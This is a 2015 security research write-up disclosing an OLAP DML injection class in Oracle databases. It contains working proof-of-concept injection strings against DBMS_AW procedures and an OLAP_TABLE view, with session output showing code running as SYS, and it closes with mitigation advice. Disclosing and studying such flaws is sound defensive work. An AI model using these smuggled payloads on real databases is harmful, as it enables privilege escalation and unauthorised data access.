OLAP DML Injection
A new class of vulnerability in the Oracle RDBMS

dlitchfield@google.com

15th July 2015

tl;dr

Oracle OLAP applications may be at risk of a new sub-class injection flaw if they use DBMS_AW, OLAP_TABLE or any of the other OLAP* functions. The problem arises due to differences between the syntax of SQL and OLAP DML. The upshot is that attackers may be able to abuse this to execute arbitrary SQL with higher privileges.

Introduction

Online Analytical Processing (OLAP) is used to query multi-dimensional data. In Oracle, an Analytic Workspace is created to store the data to be analyzed as well as calculation objects such as formulae and models and programs to perform the analysis. Calculation objects and programs are written using OLAP DML. OLAP DML differs from SQL and has a different syntax. For example, in SQL a comment is denoted with either a double minus (--) or enclosed within /* */. In OLAP DML a comment is denoted with a double quote ("). A semi-colon (;) can be used to separate OLAP DML commands on a single line and a single minus is used as a continuation character when a command is split across two lines.

OLAP DML can be executed from SQL but through an interface that accepts OLAP DML. This includes the DBMS_AW PL/SQL package and the OLAP_TABLE function as well as the other OLAP functions such as OLAP_CONDITION and OLAP_EXPRESSION.
There are a large number of OLAP DML commands and functions and one set of these is the "SQL" command family that allows SQL to be executed from OLAP DML.

(https://docs.oracle.com/cd/B28359_01/olap.111/b28126/dml_commands_2053.htm)

OLAP DML Injection

The security risk arises when user input is passed to one of the OLAP functions or the DBMS_AW package. Even if the input is validated at the SQL level or even if bind variables are used the risk can still be present. Essentially an attacker can embed an arbitrary SQL statement within an OLAP DML statement and have it execute, potentially with higher privileges.
Consider the following real world example. The DROP_AW_ELIST_ALL procedure is provided by Oracle and contains the following code:

```
create or replace PROCEDURE DROP_AW_ELIST_ALL(myschema VARCHAR2,
awname VARCHAR2)
AS
cln_schema VARCHAR2(150);
```

```
cln_aw VARCHAR2(150);
aw_stmt VARCHAR2(350);
Begin
cln_schema := DBMS_ASSERT.SCHEMA_NAME(myschema);
cln_aw := DBMS_ASSERT.SIMPLE_SQL_NAME(awname);
aw_stmt := 'aw attach '||cln_schema||'.'||cln_aw||' rwx NOONATTACH
noautogo';
dbms_aw.execute(aw_stmt);
...
```

Here we can see that DBMS_ASSERT is used to ensure that there is no embedded SQL in the "MYSCHEMA" and "AWNAME" user supplied arguments. Once validated they are passed to the DBMS_AW.EXECUTE procedure and the "AW ATTACH" OLAP DML command is executed. However, we can smuggle an arbitrary OLAP DML command into the call by enclosing a fake AWNAME in double quotes and adding a second command after a semi-colon. In the example below we execute the "SQL PROCEDURE" OLAP DML command to execute a PL/SQL procedure - in this case DBMS_OUTPUT.PUT_LINE.

```
SQL> exec DROP_AW_ELIST_ALL('SYS','"A; sql procedure
dbms_output.put_line(user)"');
SYS
BEGIN DROP_AW_ELIST_ALL('SYS','"A; sql procedure
dbms_output.put_line(user)"'); END;
```

Notice the SYS in the output above.

Another real world example can be found in the DBMS_AW.AW_ATTACH procedure. (In fact most of the procedures and functions of DBMS_AW are vulnerable). DBMS_AW.AW_ATTACH takes an AW name and first passes it to GEN_DBNAME(). GEN_DBNAME() checks the AW name using DBMS_ASSERT.QUALIFIED_SQL_NAME() in an attempt to validate the input. Again, an attacker can smuggle arbitrary OLAP DML and from there execute SQL.

```
SQL> exec dbms_aw.aw_attach('" - '||chr(10)||' express; sql procedure
dbms_output.put_line(user);"');
SYS

PL/SQL procedure successfully completed.

SQL>
```

In the attack above the use of the double quote allows the attacker to bypass the input validation provided by DBMS_ASSERT.QUALIFIED_SQL_NAME. Recall that OLAP DML sees this double quote too but treats it as a comment marker. The attacker provides then provides a

single minus (the continuation character) which allows the AW ATTACH OLAP DML command to be split across two lines. With the addition of a semi colon the attacker can then execute a secondary OLAP DML command (in this case a call to "SQL PROCEDURE") and then finishes with another double quote. This balances the user input for bypassing DBMS_ASSERT.QUALIFIED_SQL_NAME but is treated a comment marker at the OLAP DML level.

When it comes to the OLAP_TABLE function, if any user input is passed to the 3rd parameter, which itself takes an OLAP DML command, or the 4th parameter, the LIMIT_MAP then an attacker may be able to execute arbitrary OLAP DML.
Consider the following contrived example. The first few lines below are simply setting up to demonstrate the problem:

```
SQL> connect / as sysdba
Connected.
SQL> exec dbms_aw.execute('aw attach express');

PL/SQL procedure successfully completed.

SQL> exec dbms_aw.execute('set xlname=''measure col from aw_expr
1''');

PL/SQL procedure successfully completed.

SQL> create or replace view olapview as select * from
table(olap_table('express duration
session','','','&(express!xlname)'))
;

View created.

SQL> grant select on sys.olapview to public;

Grant succeeded.
```

Here, we're using the OLAP_TABLE in a view and reading the LIMIT_MAP in from an Analytic Workspace variable called XLNAME. Even if a user has no permission to write to an AW they can still modify their own private copy. This private copy is used for AW object accesses. Thus if the user DAVID connects and issues the following he can overwrite XLNAME and thus directly influence the LIMIT_MAP parameter to OLAP_TABLE. Using the PREDMLCMD keyword DAVID can execute arbitrary OLAP DML.

```
SQL> connect david/password
Connected.
SQL> set serveroutput on
SQL> exec dbms_aw.execute('aw attach express');

PL/SQL procedure successfully completed.

SQL> exec dbms_aw.execute('set xlname=''measure col from aw_expr 1
predmlcmd \''sql procedure
dbms_output.put_line(sys_context(\\\''userenv\\\'',\\\''current_user\
\\\''))\''    ''');

PL/SQL procedure successfully completed.

SQL> select * from sys.olapview;

       COL
----------
         1

DAVID
SQL>
```

Note that above the output of the SYS_CONTEXT('USERENV','CURRENT_USER') function is DAVID. This tells us the OLAP DML and subsequent SQL is executing not as the owner of the view but as the current user. To exploit this to gain higher privileges the user DAVID would need to pass this view to a definer rights PL/SQL package or procedure that selects from an arbitrary table. There are a number of real world examples but to demonstrate a contrived example is used - SELECT_FROM_TABLE is a procedure owned by SYS:

```
SQL> select SYS_CONTEXT('USERENV','CURRENT_USER') from dual;

SYS_CONTEXT('USERENV','CURRENT_USER')
--------------------------------------------------------------------
DAVID

SQL> exec sys.select_from_table('OLAPVIEW');
SYS

PL/SQL procedure successfully completed.

SQL>
```

Conclusion

If a developer uses DBMS_AW in a PL/SQL package, procedure or function that uses definer rights, and user input is passed to DBMS_AW, even if it's validated at the SQL level or uses bind variables, an attacker may be able to execute arbitrary OLAP DML and from there arbitrary SQL as that owner of the PL/SQL package. Likewise if the developer uses OLAP_TABLE or any of the other OLAP functions in a PL/SQL package that uses definer rights they may be exposed if user input is passed to them. If OLAP_TABLE is used in a view, and the view can be laterally manipulated, as in the example above, and that view accessed from a PL/SQL package it may be at risk.

Developers of OLAP applications need to validate all user input to ensure that there is no OLAP DML being smuggled in user input. Typically this would involve rejecting input that contains a single minus, a double quote or semi-colon but this would be application specific of course.